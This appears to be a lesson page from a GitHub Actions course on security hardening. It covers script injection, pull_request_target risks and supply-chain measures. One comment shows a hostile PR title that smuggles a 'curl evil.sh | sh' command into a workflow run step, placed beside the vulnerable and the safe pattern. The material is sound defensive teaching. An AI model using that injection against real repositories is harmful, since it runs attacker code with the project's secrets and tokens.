Opscraft
GitHub Actions · Lesson 7 of 10 · 3 min read

Security hardening

Script injection

Expressions are substituted into run: scripts before the shell runs. Untrusted input (PR titles, branch names, issue bodies, commit messages) can inject commands:

# VULNERABLE — a PR titled  a"; curl evil.sh | sh; echo "  runs code
- run: echo "Title: ${{ github.event.pull_request.title }}"

# SAFE — pass through an environment variable; the shell treats it as data
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $TITLE"
Enlarge diagramVulnerableSaferun: echo "${{ github.event…title }}"Title text becomes part of the scriptAttacker runs commands with your tokenenv: TITLE: ${{ …title }}run: echo "$TITLE"The shell treats it as data
Figure 1. Script injection: an expression is pasted into the script before the shell runs, so a crafted PR title becomes code.
Swipe sideways to see all of it, or tap to open it full screen.

pull_request_target and workflow_run

pull_request_target runs with the base repository's secrets and a write token, even for fork PRs. If such a workflow checks out the PR's head and runs its build scripts, an attacker's PR runs with your secrets ("pwn request"). Use pull_request for building/testing untrusted code; use pull_request_target only for metadata tasks (labels, comments) without executing PR code — or gate it behind a maintainer-applied label and an environment approval.

Enlarge diagrampull_requestpull_request_targetRuns the PR's codeNo secrets, read-only tokenSafe for building and testing forksRuns the base repo's workflowHas secrets and a write tokenOnly for labelling and commenting
Figure 2. pull_request vs pull_request_target for a PR from a fork. Never build the fork's code in pull_request_target.
Swipe sideways to see all of it, or tap to open it full screen.

Supply chain

  • Pin third-party actions to commit SHAs; review what they do; prefer official/verified ones; restrict allowed actions at org level. (Compromised popular actions have leaked secrets from thousands of repos — pinning and least-privilege tokens limit the damage.)
  • Least-privilege permissions:, default read-only token.
  • Dependabot for action and dependency updates; OpenSSF Scorecard and zizmor/actionlint to lint workflow security.
  • Protect workflow files with CODEOWNERS and branch protection — editing a workflow is editing what runs with your secrets.
  • Prefer OIDC over long-lived cloud keys; scope environment secrets to protected environments.
  • Generate provenance/attestations (actions/attest-build-provenance) and sign images.